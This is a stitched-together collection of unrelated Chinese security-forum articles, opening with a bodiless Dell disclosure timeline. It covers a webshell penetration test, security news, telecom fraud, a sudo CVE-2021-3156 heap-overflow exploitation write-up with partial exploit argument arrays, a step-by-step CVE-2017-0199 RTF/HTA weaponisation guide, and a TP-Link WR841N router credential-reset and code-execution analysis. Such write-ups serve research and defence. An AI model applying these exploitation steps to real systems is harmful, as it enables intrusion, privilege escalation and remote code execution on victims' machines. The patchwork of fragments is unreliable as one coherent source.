10/26/2018 – 向戴尔发送初始writeup。
10/29/2018 – 戴尔初步回应。
11/22/2018 – 戴尔确认存在漏洞。
11/29/2018 – 戴尔计划于2019年第一季度发布“暂定”修复程序。
01/28/2019 – 戴尔的披露日期延长至3月。
03/13/2019 – 戴尔仍在修复漏洞，计划在4月底披露漏洞。
04/18/2019 –
戴尔官方发布漏洞[咨询](https://www.dell.com/support/article/us/en/19/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities)。 | 社区文章 |
## **前沿**
前不久在整理以前的测试报告的时候，看到一个报告挺有意思的,单个技术点拿出来都很简单，但是凑在一起就getshell。看下测试时间过去了得有两年多了,至于修没修后来也没有关注了，下面的截图都厚码了，主要学习下思路吧，站点什么的都是次要的，大家就当个靶机站看吧
## **测试过程**
首先经过乱点,在burp的历史记录中找和后台交互的地方，很幸运的是遇到了一个可以SQL注入的地方，按照划水几年的经验判断这个站点已经凉了(打开sqlmap,获取后台用户名密码，再来个任意文件上传getshell交工下班)，然后第一步就卡住了，有WAF,果然事情没那么简单，经过简单的测试发现这个WAF并不是那么难绕,别的图没有了，附上个当时的tamper脚本吧
成功的注入出了数据获取到了用户名和密码
很遗憾的是高权限的管理员并不能解密出来，只解密出一个权限较低的账号的密码,有总比没有强，先登录进去看看吧
登录进去之后呢尝试news的上传和图片缩略图更名功能，上传均以失败告终。
看一下后台的url,发现url路由简洁明了,目前想到的思路是我们是否可以越权进行操作，越权获取用户名列表，然后将低权限用户提升到管理员权限
经过简单的FUZZ,感觉都不用FUZZ，直接试试就可以了
然后可以对用户名进行赋权
接下来再次寻找可以上传的地方,发现编辑器处存在插入图片的功能,尝试上传下,任意文件上传，也许事情到这就结束了
访问一下，报500错误，是限制了目录执行还马有问题呢
看一下报文吧，发现报文存在很多参数，其中有疑似路径定义
尝试更改此路径为admin目录，该目录肯定能执行php，不然这个站就是个假站，将报文重放
上传成功，然后访问发现报错,应该是前面的WAF起作用了，
接着上传一个免杀的一句话成功getshell,当时测试的时候还没有出现冰蝎 哥斯拉等加密流量的工具，估计当时如果有冰蝎的话可以直接秒了吧，时代在进步呀
## **总结**
其实拿下这个站在仔细看用到的技术并没有什么骚操作，都是很常规的操作，简单的WAF绕过,越权,目录穿越，免杀绕过等等，只要细心都能发现，遇事多想想，也许就柳暗花明。 | 社区文章 |
# 2月21日安全热点 - 特斯拉云系统被黑客利用/ COLDROOT RAT
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
特斯拉云系统被黑客利用来挖掘加密货币
<http://www.zdnet.com/article/tesla-systems-used-by-hackers-to-mine-cryptocurrency/>
<https://www.bleepingcomputer.com/news/security/tesla-internal-servers-infected-with-cryptocurrency-miner/>
针对MacOS的跨平台恶意软件Coldroot RAT不能被检测
> [Coldroot RAT cross-platform malware targets MacOS without being
> detected](http://securityaffairs.co/wordpress/69321/malware/coldroot-rat-> malware.html)
<http://www.zdnet.com/article/coldroot-nasty-mac-trojan-went-undetected-for-years/>
<https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/>
关于LockCrypt .1BTC勒索软件变体的讨论
<https://www.bleepingcomputer.com/news/security/lockcrypt-1btc-variant-installed-over-hacked-remote-desktop-services/>
## 技术类
Encryption 101: a malware analyst’s primer
<https://blog.malwarebytes.com/threat-analysis/2018/02/encryption-101-malware-analysts-primer/>
5分钟教程：通过UART获得root权限
[http://konukoii.com/blog/2018/02/16/5-min-tutorial-root-via-uart](http://konukoii.com/blog/2018/02/16/5-min-tutorial-root-via-uart/?utm_source=securitydailynews.com)
Analyzing Kelihos SPAM in CapLoader and NetworkMiner
[http://www.netresec.com/?page=Blog&month=2018-02&post=Analyzing-Kelihos-SPAM-in-CapLoader-and-NetworkMiner](http://www.netresec.com/?page=Blog&month=2018-02&post=Analyzing-Kelihos-SPAM-in-CapLoader-and-NetworkMiner)
Malicious Entity Injection (MEI) to do a Laughing Man style attack on X
Reality
<https://medium.com/@aoighost/malicious-entity-injection-mei-to-do-a-laughing-man-style-attack-on-x-reality-61e93672a81a>
通过Windows安装程序文件传播恶意软件
[https://isc.sans.edu/forums/diary/Malware+Delivered+via+Windows+Installer+Files/23349](https://isc.sans.edu/forums/diary/Malware+Delivered+via+Windows+Installer+Files/23349/?utm_source=securitydailynews.com)
Breaking into iOS 11
<https://blog.elcomsoft.com/2018/02/breaking-into-ios-11/>
Quantstamp（QSP）分析
<https://bitshouts.com/qsp-quantstamp-analysis/>
DDoS攻击新玩法之WebSocket
<http://www.4hou.com/info/news/10425.html>
针对Android的学习和信息检索的恶意软件检测
<https://github.com/dkhuuthe/MADLIRA>
_Multiverse_ ——静态二进制重写器
<https://github.com/utds3lab/multiverse>
elf-strings读取工具
<https://github.com/LloydLabs/elf-strings> | 社区文章 |
# 电信诈骗黑灰产业链现状（一）：信息泄露成精准定向诈骗的主要帮凶
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
经济的快速发展和信息网络的广泛普及，使得大众对于互联网的依赖性越来越强，个人信息不断在互联网留下痕迹，于此同时，个人信息经济价值的日益显著，导致侵犯公民个人信息的犯罪屡打不绝，且成为滋生电信网络诈骗、敲诈勒索等下游违法犯罪的源头，社会危害日益突出并多发。
## 一、移动互联网使用的各类必要条件“藏匿”隐私安全隐患
移动互联网的普及，移动终端的激增，满足大众日常使用所需的应用类别不断扩增，一些APP会通过借助操作系统向用户申请开启权限来收集相应的个人信息，过度索取权限已成为了行业的“潜规则”。反观用户角度，大多数人在面对APP的权限授权提示时，并未深究其授权目的，也较难判断必要权限与过度索取权限，导致个人信息被过度收集，于此同时，部分企业安全意识、安全建设能力、登录校验机制薄弱，冒充登录、数据库被“脱库”事件频发，个人信息安全难以保障。
## 二、黑灰产业中窃取个人信息技术手段日趋成熟
短信嗅探技术、免杀木马技术、应用伪装技术，悄无声息实现信息窃取。目前市面上的APP，在进行用户登录校验时，多使用短信验证码的方式，即账号与设备绑定，验设备不验人，故当前不法分子可通过短信嗅探技术截获短信验证码，登录受害人账户进行资料修改、转账等操作。同时由于安卓市场的多样性，用户可通过多种渠道获得应用安装包，不法分子逐渐脱离常见的应用商店，通过如下图展示的分发平台传播“免杀”的、界面伪装的恶意程序诱导受害人安装，截获受害人手机中的个人信息，借此盗刷资金或进行敲诈勒索。
图1分发平台界面
## 三、精准的个人信息成诈骗人员定向诈骗的利器
受害人之所以相信骗子，源于对方准确的说出了其身份、购物、资产等信息，因此在庞大的地下黑灰产隐私窃取行业中，网络诈骗的信息窃取显得更加有针对性，不再是早期盲从的“脱库”，而是进行例如同生活圈、同朋友圈等社会工程学挖掘，试图完整的掌握特定人员的生活习惯与轨迹，完成画像分析，再使用定制的剧本进行精准的定向诈骗。 | 社区文章 |
# sudo堆溢出漏洞分析（CVE-2021-3156）
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1613813934&ver=2902&signature=Oicxnz5C-goIdtDJiaPnMM9WLGYJtDJ*6wjxa3eihGuT0PLt4i0WD9IbDrtVhw1pUWy9s-LA5EXjbekaeY39hqMzQYkaWcbdDg1fmYMhq6LnOmenSLnZctDuOiHjKni9&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1613813934&ver=2902&signature=Oicxnz5C-goIdtDJiaPnMM9WLGYJtDJ*6wjxa3eihGuT0PLt4i0WD9IbDrtVhw1pUWy9s-LA5EXjbekaeY39hqMzQYkaWcbdDg1fmYMhq6LnOmenSLnZctDuOiHjKni9&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
> 本文译自：https://www.kalmarunionen.dk/writeups/sudo/
## 介绍
2021年1月26日，sudo被曝存在一个“新”漏洞，但是实际上这个漏洞可能已经存在10年了。该漏洞可以使攻击者通过堆缓冲区溢出来进行权限提升。但是漏洞发布并没有exploit/POC，笔者所以决定自己构建一个。
## 脆弱性
简要介绍该漏洞，本质上攻击者可以通过在给sudo的任何argv或env参数的末尾插入一个反斜杠来让堆溢出，从而导致参数超出范围，来看一下简化版本的代码片段。
第一个for循环中，正在遍历每个参数，并使用strlen判断其大小(加上空终止符)，现在我们假设有空字符串“AAAA\”（\是一个字符），大小为5，并且加上这是唯一的参数，仅分配5个字节。
在下一部分中，我们将有一个用于参数的外部for循环和一个将所有参数的内容复制到单个缓冲区user_args中的内部循环，本质上是将所有参数串联在一起。
考虑与前面相同的字符串“AAAA\”，当[0]==’\’成立时，进入if并从from++递增，因为它指向空终止符，所以导致递增。之后，我们使用下一条语句*to++=*from++;继续循环。复制空终止符，复制字节，最终产出界限。
之所以会发生这种情况，是因为它希望每个\后面都有一个元字符，作者提出了一种巧妙的绕过方法，使它容易溢出。如果您想知道为什么以及进入该块时我们最终在参数中只有\的原因，请阅读本文。
通过使用符号链接sudoedit到sudo，我们可以做到这一点：
## 溢出的属性
作者陈述了有关此溢出的3个重要属性，这些属性使其非常强大。
首先，最简单的就是控制user_args的分配大小，因此选择sudo参数的数量和时间属性。
其次，控制溢出区域的内容。可以通过使用提供的环境变量来实现。环境变量实际上存储在最后一个参数传递给sudoedit之后，这意味着如果我们执行env -i’A
=BBBB’sudoedit -s’CCCCCCCCCCCCCCCC’，我们会将C插入到user_args缓冲区中，而A =
BBBB将紧随其后插入到边界区域。请注意，块大小应与0x10大小保持一致，例如env -i’A =
BB’sudoedit-s’CCCCBBBBBBBB’仅填充缓冲区。
如果密切关注串联块中的内部循环，您可能会注意到可以多次利用它。通过用\结束环境变量，可以再次跳到下一个环境变量。那为什么要那样？因为随着from++的增加，在以下to++=*from++上指向空终止符的指针，它将插入该空终止符。这能够在不结束溢出的情况下插入0x0，从而使该溢出功能极为强大。
作者的例子：
env -i’AA = a ”B = b ”C = c ”D = d ”E = e ”F =
f’sudoedit-s’1234567890123456789012 ‘
这样最终会在缓冲区中结束：
因此，我们将不讨论堆块的正向（fd）或反向（bk）指针的含义，因为我们仅在使用内存中进行利用。
* 第一个大小是后续块的大小。它等于给malloc的0x10+参数，因为还需要本身和对齐/以前大小的空间。
* 下一个大小是连续的块大小。
* fd和bk分别指向此释放块链接列表中的下一个和上一个块的指针。这仅适用于释放的块。否则，malloc的调用者可以使用这个空间。
关于空终止符插入，这里需要注意的一点是，我认为原稿中缺少的是，我们也可以插入多个连续的空字节。
首先要了解的是，环境变量不必以SOMETHING=SOMETHING_more的形式出现。与其他所有内容一样，这些只是字符数组，我们可以在C语言中使用它们。例如：
在这里，我们使用execve在完全控制环境变量的情况下执行过程。在内部for循环中，我们在””\””处插入if语句，并通过from++反斜杠跳过一个字符，然后仅将null插入到下一个“\”，然后在a中插入两个null字节。
## 开发
尽管作者在本文中提到了3个可能的目标，但我们仅涵盖第二个目标。
原因：
* 与第一种选择相反，它们没有暴力破解，在第一种选择中，它们部分溢出了以暴力破解击败ASLR的函数指针。
* 他们说，他们成功地在3个操作系统上成功做到了这一点，而其他两个操作系统都只有一个。
在第二个选项中，我们尝试溢出到存储在堆中的service_user结构中。
nss_load_library在溢出加载新的动态链接库后，libc中经常使用此结构，我们可以使文件名溢出，然后控制要加载的库。然后，我们可以针对我们可以制作的将以root特权运行的非特权库为目标。
该函数如下所示：
此功能的目标是点击ni->library->lib_handle =__libc_dlopen（shlib_name）加载一个我们控制的新库。
这里有两件事要注意，第一件事是本文提到的。如果ni->library不为NULL，我们将在ni->library->lib_handle中使用该指针，并且由于ASLR是一个X子，因此我们无法预测没有泄漏的有效指针。幸运的是，此结构存在一个初始情况，如果该结构为null，则可以通过ni->library=nss_new_service来设置它，现在，多个空字节写入就派上用场了！
然后，我们只需要将此结构完全溢出到其名称字段，即可将其更改为我们控制的非特权库。
第二个挑战是我们拥有下一个指针struct service_user *
next;。在结构内部形成一个链表，当加载发生时将遍历该链表。因此，如果我们在过程中意外溢出另一个service_user结构，则当我们因fx
A溢出而导致错误时，就将编写垃圾指针。可以通过在该位置插入空字节来避免这种情况，但这会带来另一个问题，现在断开链表，并且可以从列表中完全删除目标结构，而在整个内存空间中都没有指向它的指针。
这意味着我们必须定位到分配区域之后的链表中的第一个结构。事实证明，这是要克服的最大挑战，因为您可以想象这需要对堆分配进行很好的控制。
在本文中，它们service_user以systemd我们绝对无法定位的名称为目标。因此，我们在分配之前设置了一个断点来检查链表。然后，我们搜索systemd并向后遍历该列表，直到找到靠近我们的分配的第一个service_user为止。（结合A的一些反复试验，以了解其崩溃的结构)）
在这里，我service_user在内存中显示了不同的名称，并在vmmaps下面显示了相同的名称。如图所示，第二个vmmap对应于systemd，其偏移量为距堆基0x47e0。这显然是一个问题，因为我们service_user在列表0x4790之前的列表中看到了另一个，而两个结构之间只有0x50的空间，所以两个结构之间只有0的空间。这使得不可能针对这一目标，但是我们可以只选择之前的目标。但是，为什么不针对其他一些fx某些0x2000结构呢？好吧……您根本无法进行那么早的分配。
## 堆修饰
那么，如何在接近目标的内存区域分配内存呢？因此，这篇文章中的任务似乎并不明确，听起来好像他们“蛮力”尝试了很多，直到解决方案崩溃。如果不正确，请随时与我们的团队联系。
无论如何，我们都不希望尝试各种不同的分配方式。但是，他们确实提到了在我们控制大小的sudo进程中尽早进行分配的巧妙方法。
此技巧利用了以下事实：setlocale被称为第一件事，并且它们声明：在154行的setlocale（）中，我们malloc（）ate和free（）几个LC环境变量（LC_CTYPE，LC_MESSAGES，LC_TIME等），从而在sudo堆的开始处创建了小洞（空闲的fast或tcache块）
这是一个巧妙的技巧，我们通过打破setlocale和以下所有免费代码来研究此大小，以检查将要释放的大小块。
第一个有趣的测试：
第二个有趣的测试：
现在，实际上第二个被分配并在setlocale内不久之后再次释放。这使我相信它比第一个更加不可靠（可能是因为它同样稳定）。
但是有趣的是，我们没有发现本文所期望的其他LC变量中的其他自由变量，这很可能是libc依赖的，或者我完全不在本地使用。
这意味着我们只有这个分配可以使用。令人遗憾的是，现在可以使用的malloc更少了，但同时也限制了搜索空间。
现在，您还记得我说过的关于前向和后向指针的事情，我们应该不在乎。是的..现在我们需要这些知识。因此，这里介绍了世界上最快的垃圾箱介绍。
实际上，释放的块并不存储在单个链表中，而是分成多个链表，这些链表按边上的块大小排序。更糟糕的是，我们提供了5种不同的列表：
* tcache适用于大小从0x20到0x408的超快速分配
* fast bins也是从0x20到0x80的超快速分配
* small bins比tcache和fastbins大的小分配
* large bins大的可变大小的块
* unsorted bin一个包含尚未分类到其他箱中的块的箱
我们将仅关注tcache和fast
bins，因为其他箱中的数据块可能会合并，这意味着连续的数据块可以合并为一个更大的数据块，这使得以后很难预测垃圾箱的状态。在这两类箱中，块大小每0x10增量存在一个箱。（bin==链表）
现在，我们要使用LC_MESSAGE分配一个块，并在setlocale中再次释放它，以使该块可在以后执行溢出时使用。这样，我们就可以在堆上获得更大的块。
我不希望在我的分配之前释放的容器中的块，而当我们进行最终的溢出分配时，容器中的块仍然存在，因为它们可能来自sudo中的其他位置。
因此，在setlocale的末尾和最后的分配之前中断，让我对sudo期间使用了哪些bin有了一个了解。请注意，这并不能说明所有分配情况，实际上与分配情况相去甚远，因此仍会涉及一些反复试验。
我试图说明搜索空间，我们将首先尝试:
现在，这是一个粗略的计划，我没有完全坚持下去。
经过令人惊讶的几次尝试之后，我们就在溢出分配之前将这一块可用了：
上面的是我们的分配，下面是目标字符串mymachine。仅相隔0x4790-0x4370 == 0x420字节。不错，这似乎可行。
现在，我们只需要使用null进行溢出，直到命中该结构并重新组合具有ni-library null和另一个名称的相同结构即可。
我们首先通过如下设置args来进行分配，以匹配之前找到的大小。以前面所述的分配取决于提供给sudoedit的第一个参数的长度。我们将尝试将此大小与LC_MESSAGE释放的块进行匹配。[核对原件]
char *args[] = {
"/usr/bin/sudoedit",
"-s",
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\",
NULL
}; //B and A's to match the chunk size we want freed in thebeginning
然后，我们创建一长串环境变量以放入null并以伪造的service_user结构结尾：
char *extra_args[] = { "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\x01\\", "\\", "\\", "\x01\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "X/X\\", "a", "LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", NULL, };
然后，nss_load_library中的_st***y序列将基于上面的X/X\arg创建路径libnss_X/X.so.2：
现在我们只需要创建一个简单的库即可加载。我们只是创建一个带有初始化函数设置ID（不确定是否需要）的小型库，并执行/bin/sh并在nss_load_library中的ld_open时生成根shell。使用gcc-Os-Wall-Wextra-fPIC-sharednss.c-oX.so.2进行编译。
看到这个我真高兴！！
shell终于弹出了
## 结论
最终的利用是100％可靠的，并且可以在我的环境中使用libc2.32启用ASLR，这在ubuntu
20.10中也可以找到，并且可能很容易在许多发行版中进行了重新设计。由于许多系统仍然容易受到攻击，我们目前尚未发布最终的利用代码。感谢所有参与发现此漏洞并加以利用的研究人员。
## 参考链接
* https://www.sudo.ws/download.html
* https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
* https://www.kalmarunionen.dk/writeups/sudo/ | 社区文章 |
在通常的攻击场景下，用户收到一个包含恶意代码的Office文件（不限于RTF格式的Word文件，可能为PPT类的其他Office文档），点击尝试打开文件时会从恶意网站下载特定的
HTA程序执行，从而使攻击者获取控制。
攻击步骤
首先，问题是使用OLE2嵌入式链接对象，其次在处理一个HTA文件。
1 嵌入OLE2链接对象到一个文件，打开微软Word，单击“插入对象”按钮，如下面的截图：
2 选择从文件创建，插入URL HTA文件和刻度都链接到文件和显示为图标。
3 将文档保存为docx，DOC或RTF文件；所有这些处理ole2链接对象。
4
然而，图标和文字可能看起来有点可疑，因此可以通过更换图标和文件名，并渲染对象的Word，增加成功的可能性。这可以通过不选择“显示为图标”复选框，实现服务文档内容类型应用RTF或应用程序/文件/：
5 这使得HTA要呈现如下：
6
然而，用户交互仍然是必需的，用户必须双击“Hello”文本这个时间或保存文件强制文件执行连接更新的内容，并显示它。然而FireEye的描述不明确，需要用户交互并暗示载荷应自动运行打开文档时。研究小组发现的activebreach如何能够实现。经过更进一步的了解到RTF
RFC”objupdate”控制被发现：
7 此控件的描述特别有趣，因为它暗示对象将在显示自身之前更新：
例如，可以创建一个包含一个objupdate控制，最终将迫使它更新启动文件。这可以通过获取先前创建的文档并在文本编辑器中修改它来实现：
Original:
{\object\objautlink \rsltpict\objw9027\objh450{ _\objclass Word.Document.8}{_
\objdata
注射\ objupdate控制文件：
{\object\objautlink\objupdate\rsltpict\objw9027\objh450{ _\objclass
Word.Document.8}{_ \objdata
打开RTF文件现在造成托管HTA文件运行而无需用户交互：
值得注意的是，我们的研究显示，如果用户没有安装微软Office，问题仍然可以在写字板中然而利用的互动是必需的。
检测和响应
一些公司已经公布的规则由响应社区检测问题。在许多情况下，这些都是有点不准确，可能会产生误报，他们依靠的对象包含一个ole2link
RTF文档检测。这并不一定意味着恶意行为，可能是一个合法的嵌入对象。
为了有效地检测cve-2017-0199，Yara规则应该识别\ objupdate控制添加条件。
## 喜欢就关注我们的公众号吧。微信搜索公众号：杂术馆 | 社区文章 |
# 【技术分享】TP-Link WR841N路由器任意代码执行漏洞分析（附演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blog.senr.io
原文地址：<http://blog.senr.io/blog/cve-2017-9466-why-is-my-router-blinking-morse-code>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近我们在TP-Link的WR841N
V8路由器上发现了两个漏洞，利用这两个漏洞，我们可以在这款路由器上执行我们自定义的代码。与厂商友好协商后，他们在新版路由器固件中修复了这个漏洞，因此我们决定公开我们的研究成果。
我们团队的主要研究方向是网络嵌入式设备，根据研究成果，我们对产品进行改进，同时也会在嵌入式设备生产及安全社区中分享成果。WR841N这款设备刚好是我们在硬件攻击[课程](http://www.sexviahex.com/)中用到的路由器，也是我们在介绍[JTAG](http://blog.senr.io/blog/jtag-explained)相关知识时的重点介绍对象。我们在对这款路由器进行研究时，发现它在配置服务的逻辑处理流程中存在一个缺陷，利用这个缺陷，我们能够绕过路由器的访问控制策略，并且能够重置路由器的凭证（CVE-2017-9466）。随后，我们利用获取到的访问权限，通过配置服务中存在的栈溢出漏洞实现了路由器的任意代码执行。
在这类抵近攻击中，我们用到了智能手机的热点功能，通过某个协议重设了路由器的凭证（新的硬件型号已经在固件中删除了这个协议）。不幸的是，尽管老型号可能不再得到官方的支持，但这些设备往往处于关键位置。幸运的是，当我们向TP-Link报告了这个问题后，他们马上同意在这个型号中删除存在漏洞的配置服务。
我们会详细分享这一技术细节，希望我们的研究成果能够帮助大家理解有关抵近攻击、过时版本的固件、加密的逻辑流程或者存在漏洞的配置服务方面的知识。
读者可以直接阅读本文的技术细节部分了解详细信息。
**二、漏洞摘要**
我们首先做的就是购买这款路由器、下载路由器固件然后开始分析固件。我们之前在[配置服务漏洞](http://blog.senr.io/blog/400000-publicly-available-iot-devices-vulnerable-to-single-flaw)方面已有所研究，因此我们直接查找并最终在固件中发现了这样一个服务。这个服务允许网络用户读取并写入系统设置。这款路由器要求用户使用基于用户名和密码的密钥对发往路由器的命令参数进行加密，借此保护这个服务的安全性。
参数所使用的加密算法为DES算法，按8个字符块形式对文本进行加密。识别文本加密的逻辑处理缺陷对我们而言并不是难事。因为我们已经从固件中了解了加密前的明文版本，也能够通过路由器的服务掌握加密后的密文版本，因此我们能够复制加密后的文本，并将其以有效参数形式发回路由器。此外，并不是所有的命令都需要参数，这导致这些命令的功能会暴露在公开互联网中，任何人都可以访问。
图2. 使用IDA Pro逆向分析路由器固件时的截图
为了利用这些命令，我们首先找到了某个不需要参数的命令，但这个命令依然能够返回可以预期的经过加密后的文本。我们复制了加密文本的前8个字符，将其作为一个特征名称加以使用。我们将智能手机的名称设为这个特征名称，然后开启手机的热点功能。我们通过网络向路由器发送了一个命令（这个命令同样不需要任何参数），触发路由器搜索附近的热点。在手机名称（即前面提到的特征名）的末尾添加“init”这个字符串后，我们向路由器请求一份包含所有热点的加密列表，通过这个特征名在这份列表中查找我们所提供的那个热点。在这个列表中，经过加密后的“init”会紧跟在特征名之后。这样一来，我们就能将经过加密的“init”作为参数，传递给相应的命令，通过这个命令，我们可以迫使路由器恢复初始设置，这些设置中包含默认的用户名及密码。
图3. iPhone上的热点设置界面
成功重置路由器用户名及密码后，我们对参数进行了加密，而没有使用热点技术。如果攻击者想避免引起用户的警觉，他们可以继续使用热点技术，获取后续漏洞利用所需的相关加密文本信息。在这里，我们通过另一条命令挖掘出路由器的一个栈溢出漏洞，成功获取这款路由器上的自定义代码执行权限。为了演示我们所获取的底层控制能力，我们使用自制代码控制路由器的灯光闪烁动作，通过路由器灯光以摩斯编码传递“Hi
Senrio”这个信息。现实生活中，攻击者可以利用这种技术，从隔离网络中传递信息，或者修改路由器的设置，将流量重定向到恶意服务器上。
如果读者不想了解技术细节，可以直接跳到本文结尾的总结部分。
**三、技术细节**
**3.1 获取访问权限
**
首先，我们从TP-Link的支持网页上下载了这个硬件型号的最新固件，使用binwalk工具提取了squashfs文件系统。
图4. binwalk的输出信息
当我们拆掉路由器的顶部外壳后，我们发现了一个4pin引脚头，通过这个引脚头，我们能够使用UART接口访问受密码保护的控制台。我们尝试暴力破解文件系统中shadow文件的密码哈希，但直到我们发现路由器漏洞并完成漏洞利用技术时，暴力破解还是没有得到明文密码。然而，我们成功中断了路由器启动进程，获得了一个控制台接口，这个控制台原本是用于从外部FTP服务器上接收固件及文件系统的更新。我们备份了squashfs文件系统，修改其中的shadow文件，添加一个新的root密码，然后通过我们自己的FTP服务器更新了路由器的文件系统，最终获取到root控制台的访问权限。通过这个控制台，我们能够观察调试输出信息，并且当目标进程崩溃时也能导出内核信息加以分析。
图5. 连接UART引脚
**3.2 分析固件**
我们之前已经见到过很多存在漏洞的配置服务，根据以往经验，我们在提取的文件系统中搜索包含recvfrom()以及sendto()的代码，这是UDP服务包含的特征。短暂搜索后，我们发现了一个名为tddp的服务，这个配置服务以任务形式隐藏在web服务器中，它监听用户发来的命令请求，这些命令可以读取及写入系统设置。
这个二进制文件中包含tddp服务所涉及的大部分函数的名称，也包含用于频率调试的打印信息，这些信息对我们的逆向分析工作起了非常大的作用。我们发现了两个不同的函数，用于处理不同类别的命令。第一类命令是使用明文参数的一些简单命令，第二类命令是使用加密参数的系统级命令。
图6. recvfrom()函数以及配置服务的主解析函数
我们对协议进行了逆向，发现第一类命令对攻击者而言用处不大。之后我们枚举了所有可用的第二类命令，这些命令中包含设置广域网和本地网络配置选项的命令、更改系统模式的命令以及获取附近可用访问点的命令。
传递给第二类命令的参数会经过DES加密处理，DES是一种对称加密算法，以8字节块对数据进行加密。我们逆向分析了能够返回加密密钥的那个函数，发现这个函数将路由器用户名及密码连接起来，形成未加盐的md5值，将这个md5值的前8个字节作为加密密钥使用。这样做是为了防止除路由器所有者以外的其他人运行这些命令。
图7. 两类命令的解析器
**3.3 抵近攻击**
我们使用手机的热点功能来发起抵近攻击，同时向路由器发送一系列命令来获取所有第二类命令的访问权限。第二类命令中，SetUserConfig命令提供了路由器所有配置的写入访问权限，因此我们可以做许多操作，比如将路由器的DNS服务器地址指向某个恶意服务器，或者以此为跳板攻击网络上的其他设备。然而，展示攻击成果最为有效的一种方式，就是攻击者可以在不掌握路由器凭证的前提下，在路由器上执行命令，并获得路由器的控制权限。
我们在某个参数解析函数中发现了一个栈溢出漏洞。此时此刻，我们无法利用这个漏洞，因为溢出数据来自于命令参数，而这些参数需要经过正确的加密。为了绕过这个限制，我们决定将路由器恢复到出厂设置状态，这样用户凭证就会恢复到默认用户名及密码。为了完成这一任务，我们将sysCommand作为目标，这个函数收到加密版的“init”指令后，会对路由器进行重置。
图8. sysCommand()会查找“init”、“save”或者“reboot”命令
由于DES是个对称加密算法，并且会按照8字节块进行加密，因此它并不能实现对命令参数的全面保护，因为攻击者非常容易就能复制这些参数，并能重复使用这些参数以攻击目标。getAPList这个命令会返回附近可用访问点的加密名称，这也是我们为什么会使用手机的热点功能来创建自己的访问点。
我们使用getPhyLinkStatus命令的输出作为特征，识别访问点列表中属于我们的那条信息。getPhyLinkStatus这个命令不需要提供任何参数，并且会返回前缀为“wan_ph_l”的加密字符串。我们通过另一条不需要参数的命令启用了路由器的搜索模式，将手机的名字开头设为“wan_ph_l”，并填充某些字符使手机热点名称在路由器的访问列表中保持8字节对齐。我们查询了getAPList，查找经过加密后的“wan_ph_l”字符串，很快就识别出我们的手机名。之后我们更新了手机的名称，紧挨在“wan_ph_l”之后附加一个“init“字符串，通过getAPList获取加密后的init参数，并将其传递给sysCommand命令，重置了路由器。
简而言之，我们使用如下几个步骤将路由器恢复到出厂设置状态：
1、通过getPhyLinkStatus获取加密后的“wan_ph_l“。
2、设置附近访问热点，热点名为明文形式的“wan_ph_l”+“init”，填充部分字符串以便对齐。
3、使用activateAth0命令启用访问点搜索接口。
4、使用getAPList命令请求访问点状态列表，并保存加密后的“init”参数。
5、将加密过的“init”参数传递给sysCommand命令。
再深入研究一下，如果周围没有可接入热点，但我们还想要获得系统访问权限，这时候应该怎么办呢？我们可以使用常见的用户名及密码对“wan_ph_l”进行加密，构造这样一个彩虹表，生成用户名及密码所对应的哈希值。如果哈希值匹配，那么我们立刻就能获取服务的完全访问权限。
**3.4 代码执行**
在分析过程中，我们发现某个函数中存在栈溢出漏洞，这个函数负责对传入数据进行处理。我们已经掌握了生成加密参数的方法，因此我们终于能够利用这个漏洞。由于新发布的补丁能够阻止远程攻击者直接访问这个漏洞，因此TP-Link决定不再单独修复这个漏洞。尽管这个漏洞很难对用户造成安全风险，但它目前仍是未修复状态，并且厂商将来也没有要修复它的计划，因此我们决定不在此时透露这个漏洞的详细信息。
我们得到了路由器的代码执行权限，通过编写的shellcode使路由器的LED灯以摩斯码进行闪烁，传递“Hi
Senrio”信息，借此展现我们对路由器底层架构的控制能力。现实生活中，攻击者可以利用这种技术实现隔离网络中的[数据传输](http://www.securityweek.com/router-leds-allow-data-theft-air-gapped-computers)，或者修改路由器的设置，将流量重定向到[恶意服务器](http://www.apple.com/)上。
**四、总结**
当我们向TP-Link报告这个漏洞时，我们发现这款硬件型号已经停产，因为官方网页上没有早期型号的更新信息。TP-Link同意从我们使用的这款硬件型号的固件版本中删除存在漏洞的服务，这无疑是个利好消息。当我们报告这个漏洞时，Shodan搜索引擎显示全世界至少有93,328个用户正在使用WR841N路由器，然而我们并没有有效的渠道能够告诉他们这一消息，并且他们正在使用的路由器似乎不大可能正在运行最新的固件。
图9. Shodan的搜索结果
这对我们来说是个重要启示。对整个行业而言，我们过于依赖过时的硬件设施，因为整个行业、企业以及消费者无法承受频繁更新硬件型号所需的时间、精力以及成本。虽然TP-Link为这个过时的型号提供了修复补丁，我们还是需要创新的方法来保护这些过时的设备。
**演示视频**
